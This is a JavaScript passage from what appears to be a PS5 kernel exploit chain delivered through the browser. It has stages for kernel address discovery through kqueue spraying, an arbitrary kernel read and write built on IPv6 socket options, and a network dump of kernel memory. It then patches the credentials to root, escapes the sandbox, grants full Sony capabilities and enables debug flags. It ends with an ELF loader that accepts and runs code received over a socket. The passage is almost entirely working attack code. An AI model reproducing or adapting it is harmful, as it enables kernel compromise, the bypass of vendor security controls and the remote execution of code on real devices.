                if(kqueue_test == 0x6575716B) {
                    alert(`OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD == 0x${(cur_read.low & 0xFFFF).toString(16)}
                         add this offset to the firmware's file, reboot and dump the readable segment of the kernel.`);
                         kqueue_data_addr = cur_read;
                         break;
                }
            }
        }
        else if ((cur_read.low & 0xFFFF) == OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD) {
            kqueue_data_addr = cur_read;
            await log("[+] Found kqueue .data address: 0x" + kqueue_data_addr.toString(16) + " (found @ i = 0x" + i.toString(16) + ")");
            break;
        }
    }

    // Retry a leak and spray, we have nothing to lose at this point, because if browser closes we'll almost certainly die anyway
    let found_kqueue_data_addr = 0;
    if (kqueue_data_addr == 0) {
        await log("[!] Couldn't find recognized .data address, retrying 5 more times.");

        for (let tries = 0; tries < 5; tries++) {
            await leak_kmalloc(0x120); // will implicitly run chain
            test_addr = p.read8(leak_kmalloc_buf_store.add32(OFFSET_KERNEL_rthdr_offset))
            await log("  [+] kqueue = 0x" + kqueue_addr);

            // Free rthdr and spray kqueues
            await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);

            for (let i = 0; i < SPRAY_SIZE_KQUEUES - 94; i++) {
                await chain.add_syscall_ret(kqueue_fds_store.add32(i * 0x4), SYSCALL_KQUEUE);
            }

            await chain.run();

            for (let i = 0; i < 0x1000; i += 8) {
                // Arb. Read test_addr
                await kread(test_addr.add32(i));
                cur_read = p.read8(read_buf_store);

                if(OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD == 0){
                    //improve offset discovery mode?
                    if(cur_read.hi == 0xFFFFFFFF && cur_read.low >= 0x80000000 && cur_read.low <= 0xFF000000) {
                        await kread(cur_read);
                        let kqueue_test = p.read4(read_buf_store);
                        if(kqueue_test == 0x6575716B) {
                            alert(`OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD == 0x${(cur_read.low & 0xFFFF).toString(16)}
                                 add this offset to the firmware's file, reboot and dump the readable segment of the kernel.`);
                                 kqueue_data_addr = cur_read;
                                 break;
                        }
                    }
                }
                else if ((cur_read.low & 0xFFFF) == OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD) {
                    kqueue_data_addr = cur_read;
                    found_kqueue_data_addr = 1;
                    await log("[+] Retry " + tries.toString(10) + " found kqueue .data address: 0x" + kqueue_data_addr.toString(16) + " (found @ i = 0x" + i.toString(16) + ")");
                    break;
                }
            }

            if (found_kqueue_data_addr == 1) {
                break;
            }
        }
    }

    // If we haven't found it after 5 tries, we're probably never going to find one, something is wrong
    if (kqueue_data_addr == 0) {
        await log("[!] Still couldn't find recognized .data address, reboot.");
        return;
    }

    //TODO: check next kernel offsets if == 0 start dump mode?
    //find base readable segment -> send over socket
    if(OFFSET_KERNEL_DATA_KQUEUE_BASE_SLIDE == 0) {
        let known_d0 = 0x00000001;
        let known_d1 = 0x00000001;
        let known_d2 = 0x00000000;
        let known_d3 = 0x00000000;
        //wildcard
        let known_d5 = 0xFFFFFFFF;
        let known_d6 = 0x00000008;
        let known_d7 = 0x00000000;
        let data_guess = kqueue_data_addr.and32(0xFFFFF000);
        for(let i = 0;; i++) {
            await kread(data_guess);
    
            let q0 = p.read8(read_buf_store);
            let q1 = p.read8(read_buf_store.add32(0x8))
    
            if(q0.low != known_d0 || q0.hi != known_d1 || q1.low != known_d2 || q1.hi != known_d3) {
                data_guess.sub32inplace(0x1000);
                continue;
            }

            await kread(data_guess.add32(0x14));
    
            let q2 = p.read8(read_buf_store);
            let q3 = p.read8(read_buf_store.add32(0x8))
    
            if(q2.low != known_d5 || q2.hi != known_d6 || q3.low != known_d7) {
                data_guess.sub32inplace(0x1000);
                continue;
            }
    
            alert(`kqueue string: ${kqueue_data_addr} .rodata: ${data_guess} offset masked: -(${i * 0x1000}) ; .start offset: ${i * 0x1000 + 0x10000}`);
            break;
        }
        let dump_base = data_guess.sub32(0x10000);

        alert(`going to dump the kernel, make sure you set your own ip & that the dump server is running`);
        for (let j = 0; ; j++) {
            for (let i = 0; i < 0x1000; i += 0x10) {
                chain.push_write8(write_victim_buf_store.add32(0x00), dump_base.add32(i));
                chain.push_write8(write_victim_buf_store.add32(0x08), 0);
                chain.push_write4(write_victim_buf_store.add32(0x10), 0);
                await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
                await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_large_store.add32(i), pktinfo_size_store);
            }
            await dump_net(read_large_store, 0x1000);
            dump_base.add32inplace(0x1000);
        }

    }



    ///////////////////////////////////////////////////////////////////////
    // Stage 5: Make .data patches and patch ucred + cleanup sockets
    ///////////////////////////////////////////////////////////////////////

    await log("===== Stage 5 - Privilege Escalation / Data Patch =====");

    // Get PID
    await chain.add_syscall_ret(scratch_store, SYSCALL_GETPID);
    await chain.run();

    let cur_pid = p.read4(scratch_store)

    await log("[+] PID: 0x" + cur_pid.toString(16));

    // Get data base
    kqueue_data_addr = kqueue_data_addr.sub32(OFFSET_KERNEL_DATA_KQUEUE_BASE_SLIDE);
    kqueue_data_addr = kqueue_data_addr.and32(0xFFFFF000);

    let data_base_addr   = kqueue_data_addr;
    let allproc_addr     = data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_ALLPROC);
    let proc_ucred_addr  = 0;
    let proc_fd_addr     = 0;

    await log("[+] Found kernel .data base address: 0x" + data_base_addr.toString(16));

    // Get ucred + fd
    await kread(allproc_addr);

    let cur_proc_addr = p.read8(read_buf_store);

    for (;;) {
        // Get next proc
        await kread(cur_proc_addr.add32(0x00)); // p_list
        let next_proc = p.read8(read_buf_store.add32(0x00));

        // Check PID
        await kread(cur_proc_addr.add32(0xBC)); // p_pid
        if (p.read4(read_buf_store) == cur_pid) {
            // Get ucred
            await kread(cur_proc_addr.add32(0x40)); // p_ucred
            proc_ucred_addr = p.read8(read_buf_store.add32(0x00));
            proc_fd_addr    = p.read8(read_buf_store.add32(0x08)); // p_fd follows p_ucred

            break;
        }

        if (next_proc.low == 0) {
            break;
        }

        // Move to next proc
        cur_proc_addr = next_proc;
    }

    await log("  [+] Found proc->p_ucred: 0x" + proc_ucred_addr.toString(16));
    await log("  [+] Found proc->p_fd: 0x" + proc_fd_addr.toString(16));
    let ofiles_addr = 0;

    // Look for sockets and clean them up
    let inc_socket_refcount = async function(target_fd) {
        if (ofiles_addr == 0) {
            chain.push_write8(write_victim_buf_store.add32(0x00), proc_fd_addr.add32(0x00)); // filedesc->fd_files
            chain.push_write8(write_victim_buf_store.add32(0x08), 0);
            chain.push_write4(write_victim_buf_store.add32(0x10), 0);
            await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
            await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_buf_store, pktinfo_size_store);
            await chain.run();

            ofiles_addr      = p.read8(read_buf_store).add32(0x08);
        }

        let filedescent_addr = ofiles_addr.add32(target_fd * 0x30); // fdt_ofiles[fd]->fde_file, sizeof(filedescent) = 0x30

        chain.push_write8(write_victim_buf_store.add32(0x00), filedescent_addr.add32(0x00)); // fde_file
        chain.push_write8(write_victim_buf_store.add32(0x08), 0);
        chain.push_write4(write_victim_buf_store.add32(0x10), 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
        await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_buf_store, pktinfo_size_store);
        await chain.run();

        let file_addr = p.read8(read_buf_store).add32(0x00);

        chain.push_write8(write_victim_buf_store.add32(0x00), file_addr.add32(0x00)); // f_data
        chain.push_write8(write_victim_buf_store.add32(0x08), 0);
        chain.push_write4(write_victim_buf_store.add32(0x10), 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
        await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_buf_store, pktinfo_size_store);
        await chain.run();

        let sock_addr = p.read8(read_buf_store).add32(0x00);

        chain.push_write8(write_victim_buf_store.add32(0x00), sock_addr); // so_count+so_type
        chain.push_write8(write_victim_buf_store.add32(0x08), 0);
        chain.push_write4(write_victim_buf_store.add32(0x10), 0);
        chain.push_write4(write_buf_store.add32(0x00), 0x100);
        chain.push_write4(write_buf_store.add32(0x04), 0x2);
        chain.push_write8(write_buf_store.add32(0x08), 0);
        chain.push_write4(write_buf_store.add32(0x0C), 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14);
        await chain.run();
    }

    // Cleanup sockets for clean exit
    await inc_socket_refcount(overlap_sock);
    await inc_socket_refcount(master_sock);
    await inc_socket_refcount(victim_sock);

    // Establish pipe read/write
    let pipe_filedescent = ofiles_addr.add32(pipe_read * 0x30);

    await kread(pipe_filedescent.add32(0x00)); // fde_file
    let pipe_file = p.read8(read_buf_store);

    await kread(pipe_file.add32(0x00)); // f_data
    let pipe_addr = p.read8(read_buf_store);

    let copyout = async function(dest, source, length) {
        if (typeof copyout.value == 'undefined') {
            copyout.value0 = new int64(0x40000000, 0x40000000);
            copyout.value1 = new int64(0x00000000, 0x40000000);
        }

        chain.push_write8(write_victim_buf_store.add32(0x00), pipe_addr.add32(0x00));
        chain.push_write8(write_victim_buf_store.add32(0x08), 0);
        chain.push_write4(write_victim_buf_store.add32(0x10), 0);
        chain.push_write8(write_buf_store.add32(0x00), copyout.value0);
        chain.push_write8(write_buf_store.add32(0x08), copyout.value1);
        chain.push_write4(write_buf_store.add32(0x10), 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14);

        chain.push_write8(write_victim_buf_store.add32(0x00), pipe_addr.add32(0x10));
        chain.push_write8(write_victim_buf_store.add32(0x08), 0);
        chain.push_write4(write_victim_buf_store.add32(0x10), 0);
        chain.push_write8(write_buf_store.add32(0x00), source);
        chain.push_write8(write_buf_store.add32(0x08), 0);
        chain.push_write4(write_buf_store.add32(0x10), 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14);

        await chain.add_syscall(SYSCALL_READ, pipe_read, dest, length);
        await chain.run();
    }

    let copyin = async function(dest, source, length) {
        if (typeof copyin.value == 'undefined') {
            copyin.value = new int64(0x00000000, 0x40000000);
        }

        chain.push_write8(write_victim_buf_store.add32(0x00), pipe_addr.add32(0x00));
        chain.push_write8(write_victim_buf_store.add32(0x08), 0);
        chain.push_write4(write_victim_buf_store.add32(0x10), 0);
        chain.push_write8(write_buf_store.add32(0x00), 0);
        chain.push_write8(write_buf_store.add32(0x08), copyin.value);
        chain.push_write4(write_buf_store.add32(0x10), 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14);

        chain.push_write8(write_victim_buf_store.add32(0x00), pipe_addr.add32(0x10));
        chain.push_write8(write_victim_buf_store.add32(0x08), 0);
        chain.push_write4(write_victim_buf_store.add32(0x10), 0);
        chain.push_write8(write_buf_store.add32(0x00), dest);
        chain.push_write8(write_buf_store.add32(0x08), 0);
        chain.push_write4(write_buf_store.add32(0x10), 0);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
        await chain.add_syscall(SYSCALL_SETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_buf_store, 0x14);

        await chain.add_syscall(SYSCALL_WRITE, pipe_write, source, length);
        await chain.run();
    }

    await kread(data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_SECURITYFLAGS));
    let security_flags = p.read4(read_buf_store);
    security_flags |= 0x14;  // securityflags |= 0x14
    p.write4(read_buf_store, security_flags);

    await copyin(data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_SECURITYFLAGS), read_buf_store, 0x4);

    await kread(data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_TARGETID));
    let target_id = p.read1(read_buf_store);
    target_id = 0x82;  // target_id = 0x81 (DEV) / 0x82 (DEX) / 0x8X (CEX)
    p.write1(read_buf_store, target_id);
    await copyin(data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_TARGETID), read_buf_store, 0x10);

    await kread(data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_QA_FLAGS));
    let word1 = p.read2(read_buf_store.add32(0x1));
    word1 |= 0x103; //qa_flags[1] |= 0x3 & qa_flags[2] |= 0x1
    p.write2(read_buf_store.add32(0x1), word1);
    await copyin(data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_QA_FLAGS), read_buf_store, 0x10);
    
    await kread(data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_UTOKEN_FLAGS));
    let byte1 = p.read1(read_buf_store);
    byte1 |= 0x1; // utoken_flags[0] |= 0x1
    p.write1(read_buf_store, byte1);
    await copyin(data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_UTOKEN_FLAGS), read_buf_store, 0x10);

    await log("[+] Enabled debug settings");


    let rootvnode_area_store = p.malloc(0x100);

    await copyout(rootvnode_area_store, data_base_addr.add32(OFFSET_KERNEL_DATA_BASE_ROOTVNODE), 0x100);

    let uid_store     = p.malloc(0x4);
    let ngroups_store = p.malloc(0x4);
    let authid_store  = p.malloc(0x8);
    let caps_store    = p.malloc(0x8);
    let attr_store    = p.malloc(0x8);

    p.write4(uid_store, 0x0);
    p.write4(ngroups_store, 0x1);
    p.write8(authid_store, new int64(0x00000013, 0x48010000));
    p.write8(caps_store, new int64(0xffffffff, 0xffffffff));
    p.write1(attr_store, 0x80);

    // Patch creds
    await copyin(proc_ucred_addr.add32(0x04), uid_store, 0x4);          // cr_uid
    await copyin(proc_ucred_addr.add32(0x08), uid_store, 0x4);          // cr_ruid
    await copyin(proc_ucred_addr.add32(0x0C), uid_store, 0x4);          // cr_svuid
    await copyin(proc_ucred_addr.add32(0x10), ngroups_store, 0x4);      // cr_ngroups
    await copyin(proc_ucred_addr.add32(0x14), uid_store, 0x4);          // cr_rgid

    // Escape sandbox
    await copyin(proc_fd_addr.add32(0x10), rootvnode_area_store, 0x8);  // fd_rdir
    await copyin(proc_fd_addr.add32(0x18), rootvnode_area_store, 0x8);  // fd_jdir

    // Escalate sony privileges
    await copyin(proc_ucred_addr.add32(0x58), authid_store, 0x8);       // cr_sceAuthID
    await copyin(proc_ucred_addr.add32(0x60), caps_store, 0x8);         // cr_sceCaps[0]
    await copyin(proc_ucred_addr.add32(0x68), caps_store, 0x8);         // cr_sceCaps[1]
    await copyin(proc_ucred_addr.add32(0x83), attr_store, 0x1);         // cr_sceAttr[0]

    // Remove dynlib restrict
    let restrict_flags_addr_store = p.malloc(0x8);
    let restrict_flags_store = p.malloc(0x4);
    p.write4(restrict_flags_store, 0x0);

    await copyout(restrict_flags_addr_store, cur_proc_addr.add32(0x3E8), 0x8);
    let restrict_flags_addr = p.read8(restrict_flags_addr_store).add32(0x118);
    await copyin(restrict_flags_addr, restrict_flags_store, 0x4);

    // Remove libkernel ref from dynlib
    let libkern_ref_store = p.malloc(0x8);
    p.write8(libkern_ref_store, 0x1);

    let dyn_libkernel_addr = p.read8(restrict_flags_addr_store).add32(0x18);
    await copyin(dyn_libkernel_addr, libkern_ref_store, 0x8);

    // Test cred patch with getuid
    await chain.add_syscall_ret(scratch_store, 0x018);
    await chain.run();

    await log("[+] Patched creds, checking uid = 0x" + p.read4(scratch_store).toString(16));

    // Close unnecessary FDs so fork() doesn't inherit them
    for (let i = 0; i < NUM_SPRAY_SOCKS; i++) {
        let spray_fd = p.read4(spray_fds_store.add32(i * 0x4));

        if (spray_fd != victim_sock) {
            await chain.add_syscall(SYSCALL_CLOSE, spray_fd);
        }
    }

    await chain.run();

    for (let i = 0; i < SPRAY_SIZE_KQUEUES; i++) {
        let kq_fd = p.read4(kqueue_fds_store.add32(i * 0x4));
        await chain.add_syscall(SYSCALL_CLOSE, kq_fd);
    }

    await chain.run();

    async function get_local_ips() {
        // i used this as reference for the undocumented NETGETIFLIST call
        // the main difference is the if_addr object is 0x3C0 bytes instead of 0x140
        // https://github.com/robots/wifimon-vita/blob/a4359efd59081fb92978b8852ca7902879429831/src/app/main.c#L17
        
        // Used From Idlesauce Host
        // https://github.com/idlesauce/PS5-Exploit-Host/blob/7e0a0235987b711e8d099bbca0e68f4b8e9e0658/document/en/ps5/exploit.js#L1668

        const SYSCALL_NETGETIFLIST = 0x07D;
        let ifaddr_count_buf = p.malloc(0x4);

        await chain.add_syscall_ret(ifaddr_count_buf, SYSCALL_NETGETIFLIST, 0, 10);
        await chain.run();

        let ifaddr_count = p.read4(ifaddr_count_buf);

        let if_addr_obj_size = 0x3C0;
        let if_addresses_length = if_addr_obj_size * ifaddr_count;
        let if_addresses = p.malloc(if_addresses_length);
        let ifaddrlist_ptr = if_addresses.add32(0x0);

        await chain.add_syscall(SYSCALL_NETGETIFLIST, ifaddrlist_ptr, ifaddr_count);
        await chain.run();

        let iplist = [];
        for (let i = 0; i < ifaddr_count; i++) {
            let adapterName = "";
            // the object starts with the adapter name
            for (let i2 = 0; i2 < 16; i2++) {
                // decode byte as text
                let char = p.read1(if_addresses.add32(if_addr_obj_size * i + i2));
                if (char == 0) {
                    break;
                }
                adapterName += String.fromCharCode(char);
            }

            let ipAddress = "";
            // from bytes 40-43 is the ip address
            for (let i2 = 40; i2 < 44; i2++) {
                ipAddress += p.read1(if_addresses.add32(if_addr_obj_size * i + i2)).toString(10) + ".";
            }
            ipAddress = ipAddress.slice(0, -1);

            iplist.push({ name: adapterName, ip: ipAddress });
        }

        return iplist;
    }

    window.ip_list = await get_local_ips();

    let ip_obj = window.ip_list.find(obj => obj.ip != "0.0.0.0");
    if (ip_obj != undefined) {
    await log("[+] Launching ELF loader " + ip_obj.ip + ":" +  ELF_LOADER_PORT.toString(10));
    } else {
    await log("[+] Launching ELF loader (port :" + ELF_LOADER_PORT.toString(10) + ")"); 
    }
    ///////////////////////////////////////////////////////////////////////
    // Stage 6: ELF loader
    ///////////////////////////////////////////////////////////////////////

    await log("===== Stage 6 - ELF Loader =====");

    // Resolve dlsym
    let dlsym_addr = syscalls[SYSCALL_DYNLIB_DLSYM];

    // Create jit shared memory handle
    let jit_handle_store = p.malloc(0x4);

    // Establish a server
    let test_store_buf = p.malloc(0x4);
    await chain.add_syscall_ret(test_store_buf, SYSCALL_BIND, elf_loader_sock_fd, elf_loader_sock_addr_store, 0x10);
    await chain.add_syscall_ret(test_store_buf, SYSCALL_LISTEN, elf_loader_sock_fd, 5);
    await chain.run();

    // ELF sizes and offsets
    let SIZE_ELF_HEADER                 = 0x40;
    let SIZE_ELF_PROGRAM_HEADER         = 0x38;

    let OFFSET_ELF_HEADER_ENTRY         = 0x18;
    let OFFSET_ELF_HEADER_PHOFF         = 0x20;
    let OFFSET_ELF_HEADER_PHNUM         = 0x38;

    let OFFSET_PROGRAM_HEADER_TYPE      = 0x00;
    let OFFSET_PROGRAM_HEADER_FLAGS     = 0x04;
    let OFFSET_PROGRAM_HEADER_OFFSET    = 0x08;
    let OFFSET_PROGRAM_HEADER_VADDR     = 0x10;
    let OFFSET_PROGRAM_HEADER_MEMSZ     = 0x28;

    let OFFSET_RELA_OFFSET              = 0x00;
    let OFFSET_RELA_INFO                = 0x08;
    let OFFSET_RELA_ADDEND              = 0x10;

    // ELF program header types
    let ELF_PT_LOAD                     = 0x01;
    let ELF_PT_DYNAMIC                  = 0x02;

    // ELF dynamic table types
    let ELF_DT_NULL                     = 0x00;
    let ELF_DT_RELA                     = 0x07;
    let ELF_DT_RELASZ                   = 0x08;
    let ELF_DT_RELAENT                  = 0x09;
    let ELF_R_AMD64_RELATIVE            = 0x08;

    // Accept clients
    let conn_fd_store                   = p.malloc(0x4);
    let conn_addr_store                 = p.malloc(0x10);
    let conn_addr_sz_store              = p.malloc(0x4);
    let conn_ret_store                  = p.malloc(0x8);
    let elf_store_size                  = SIZE_ELF_HEADER + (SIZE_ELF_PROGRAM_HEADER * 0x10) + 0x200000;
    let elf_store                       = p.malloc(elf_store_size);

    let shadow_mapping_addr = new int64(0x20100000, 0x00000009);
    let mapping_addr        = new int64(0x26100000, 0x00000009);

    let elf_program_headers_offset  = 0;
    let elf_program_headers_num     = 0;

    p.write4(conn_addr_sz_store, 0x10);

    for (;;) {
        await chain.add_syscall_ret(conn_fd_store, SYSCALL_ACCEPT, elf_loader_sock_fd, conn_addr_store, conn_addr_sz_store);
        await chain.run();

        let conn_fd = p.read4(conn_fd_store);

        // Got a connection, read all we can
        let write_ptr = elf_store.add32(0x0);
        let total_sz = 0;
        for (;;) {
            await chain.add_syscall_ret(conn_ret_store, SYSCALL_READ, conn_fd, write_ptr, elf_store_size - total_sz);
            await chain.run();

            let conn_ret = p.read4(conn_ret_store);
            if (conn_ret == 0xFFFFFFFF || conn_ret == 0) {
                break;
            }
            write_ptr.add32inplace(conn_ret);
            total_sz += conn_ret;
        }

        // Parse header
        elf_program_headers_offset = p.read4(elf_store.add32(OFFSET_ELF_HEADER_PHOFF));
        elf_program_headers_num    = p.read4(elf_store.add32(OFFSET_ELF_HEADER_PHNUM)) & 0xFFFF;
        elf_entry_point            = p.read4(elf_store.add32(OFFSET_ELF_HEADER_ENTRY));

        if (elf_program_headers_offset != 0x40) {
            await log("[!] ELF header malformed, terminating connection.");
            continue;
        }

        await log("[+] Received ELF file (" + total_sz.toString(10) + " bytes), loading...");

        let text_segment_sz    = 0;
        let data_segment_sz    = 0;
        let rela_table_offset  = 0;
        let rela_table_count   = 0;
        let rela_table_size    = 0;
        let rela_table_entsize = 0;
        let shadow_write_mapping = 0;

        // Parse program headers and map segments
        for (let i = 0; i < elf_program_headers_num; i++) {
            let program_header_offset = elf_program_headers_offset + (i * SIZE_ELF_PROGRAM_HEADER);

            let program_type   = p.read4(elf_store.add32(program_header_offset + OFFSET_PROGRAM_HEADER_TYPE));
            let program_flags  = p.read4(elf_store.add32(program_header_offset + OFFSET_PROGRAM_HEADER_FLAGS));
            let program_offset = p.read4(elf_store.add32(program_header_offset + OFFSET_PROGRAM_HEADER_OFFSET));
            let program_vaddr  = p.read4(elf_store.add32(program_header_offset + OFFSET_PROGRAM_HEADER_VADDR));
            let program_memsz  = p.read4(elf_store.add32(program_header_offset + OFFSET_PROGRAM_HEADER_MEMSZ));
            let program_filesz = p.read4(elf_store.add32(program_header_offset + OFFSET_PROGRAM_HEADER_FILESZ));
            let aligned_memsz  = (program_memsz + 0x3FFF) & 0xFFFFC000;

            if (program_type == ELF_PT_LOAD) {
                // For executable segments, we need to take some care and do alias'd mappings.
                // Also, the mapping size is fixed at 0x100000. This is because jitshm requires to be aligned this way... for some dumb reason.
                if ((program_flags & 1) == 1) {
                    // Executable segment
                    text_segment_sz = program_memsz;

                    // Get exec
                    await chain.add_syscall_ret(jit_handle_store, SYSCALL_JITSHM_CREATE, 0x0, aligned_memsz, 0x7);
                    await chain.run();
                    let exec_handle = p.read4(jit_handle_store);

                    // Get write alias
                    await chain.add_syscall_ret(jit_handle_store, SYSCALL_JITSHM_ALIAS, exec_handle, 0x3);
                    await chain.run();
                    let write_handle = p.read4(jit_handle_store);

                    // Map to shadow mapping
                    await chain.add_syscall_ret(conn_ret_store, SYSCALL_MMAP, shadow_mapping_addr, aligned_memsz, 0x3, 0x11, write_handle, 0);
                    await chain.run();
                    shadow_write_mapping = p.read8(conn_ret_store);

                    // Copy in segment data
                    let dest = p.read8(conn_ret_store);
                    for (let j = 0; j < program_memsz; j += 0x8) {
                        let src_qword = (j >= program_filesz) ? 0 : p.read8(elf_store.add32(program_offset + j));
                        p.write8(dest.add32(j), src_qword);
                    }

                    // Map executable segment
                    await chain.add_syscall_ret(conn_ret_store, SYSCALL_MMAP, mapping_addr.add32(program_vaddr), aligned_memsz, 0x5, 0x11, exec_handle, 0);
                    await chain.run();
                } else {
                    // Regular data segment
                    data_mapping_addr = mapping_addr.add32(program_vaddr);
                    data_segment_sz   = aligned_memsz;

                    await chain.add_syscall_ret(conn_ret_store, SYSCALL_MMAP, mapping_addr.add32(program_vaddr), aligned_memsz, 0x3, 0x1012, 0xFFFFFFFF, 0);
                    await chain.run();

                    // Copy in segment data
                    let dest = mapping_addr.add32(program_vaddr);
                    for (let j = 0; j < program_memsz; j += 0x8) {
                        let src_qword = (j >= program_filesz) ? 0 : p.read8(elf_store.add32(program_offset + j));
                        p.write8(dest.add32(j), src_qword);
                    }
                }
            }

            if (program_type == ELF_PT_DYNAMIC) {
                // Parse dynamic tags, the ones we truly care about are rela-related.
                for (let j = 0x00; ; j += 0x10) {
                    let d_tag = p.read8(elf_store.add32(program_offset + j)).low;
                    let d_val = p.read8(elf_store.add32(program_offset + j + 0x08));

                    // DT_NULL means we reached the end of the table
                    if (d_tag == ELF_DT_NULL || j > 0x100) {
                        break;
                    }

                    switch (d_tag) {
                    case ELF_DT_RELA:
                        rela_table_offset = d_val.low;
                        break;
                    case ELF_DT_RELASZ:
                        rela_table_size = d_val.low;
                        break;
                    case ELF_DT_RELAENT:
                        rela_table_entsize = d_val.low;
                        break;
                    }
                }
            }
        }

        // Process relocations if they exist
        if (rela_table_offset != 0) {
            let base_address = 0x1000;

            // The rela table offset from dynamic table is relative to the LOAD segment offset not file offset.
            // The linker script should guarantee it ends up in the first LOAD segment (code).
            rela_table_offset += base_address;

            // Rela count can be gotten from dividing the table size by entry size
            rela_table_count = rela_table_size / rela_table_entsize;

            // Parse relocs and apply them
            for (let i = 0; i < rela_table_count; i++) {
                let r_offset = p.read8(elf_store.add32(rela_table_offset + (i * rela_table_entsize) + 
                    OFFSET_RELA_OFFSET));
                let r_info   = p.read8(elf_store.add32(rela_table_offset + (i * rela_table_entsize) + 
                    OFFSET_RELA_INFO));
                let r_addend = p.read8(elf_store.add32(rela_table_offset + (i * rela_table_entsize) + 
                    OFFSET_RELA_ADDEND));

                let reloc_addr = mapping_addr.add32(r_offset.low);

                // If the relocation falls in the executable section, we need to redirect the write to the
                // writable shadow mapping or we'll crash
                if (r_offset.low <= text_segment_sz) {
                    reloc_addr = shadow_write_mapping.add32(r_offset.low);
                }

                if ((r_info.low & 0xFF) == ELF_R_AMD64_RELATIVE) {
                    let reloc_value  = mapping_addr.add32(r_addend.low); // B + A
                    p.write8(reloc_addr, reloc_value);
                }
            }
        }

        let rwpair_mem              = p.malloc(0x8);
        let test_payload_store      = p.malloc(0x8);
        let pthread_handle_store    = p.malloc(0x8);
        let pthread_value_store     = p.malloc(0x8);
        let args                    = p.malloc(0x8 * 6);

        // Pass master/victim pair to payload so it can do read/write
        p.write4(rwpair_mem.add32(0x00), master_sock);
        p.write4(rwpair_mem.add32(0x04), victim_sock);

        // Arguments to entrypoint
        p.write8(args.add32(0x00), dlsym_addr);         // arg1 = dlsym_t* dlsym
        p.write8(args.add32(0x08), pipe_mem);           // arg2 = int *rwpipe[2]
        p.write8(args.add32(0x10), rwpair_mem);         // arg3 = int *rwpair[2]
        p.write8(args.add32(0x18), pipe_addr);          // arg4 = uint64_t kpipe_addr
        p.write8(args.add32(0x20), data_base_addr);     // arg5 = uint64_t kdata_base_addr
        p.write8(args.add32(0x28), test_payload_store); // arg6 = int *payloadout

        // Execute payload in pthread
        await log("  [+] Executing!");
        await chain.call(libKernelBase.add32(OFFSET_lk_pthread_create_name_np), pthread_handle_store, 0x0, mapping_addr.add32(elf_entry_point), args, p.stringify("payload"));

        // Join pthread and wait until we're finished executing
        await chain.call(libKernelBase.add32(OFFSET_lk_pthread_join), p.read8(pthread_handle_store), pthread_value_store);
        await log("  [+] Finished, out = 0x" + p.read8(test_payload_store).toString(16));
    }
    
    await log("[+] Done.");
}

async function run_hax() {
    await userland();
}


let fwScript = document.createElement('script');
document.body.appendChild(fwScript);
fwScript.onload = function() {
    let webkitScript = document.createElement('script');
    webkitScript.setAttribute('src', `webkit.js`);
    document.body.appendChild(webkitScript);
};
fwScript.setAttribute('src', `offsets/${fw_str}.js`);
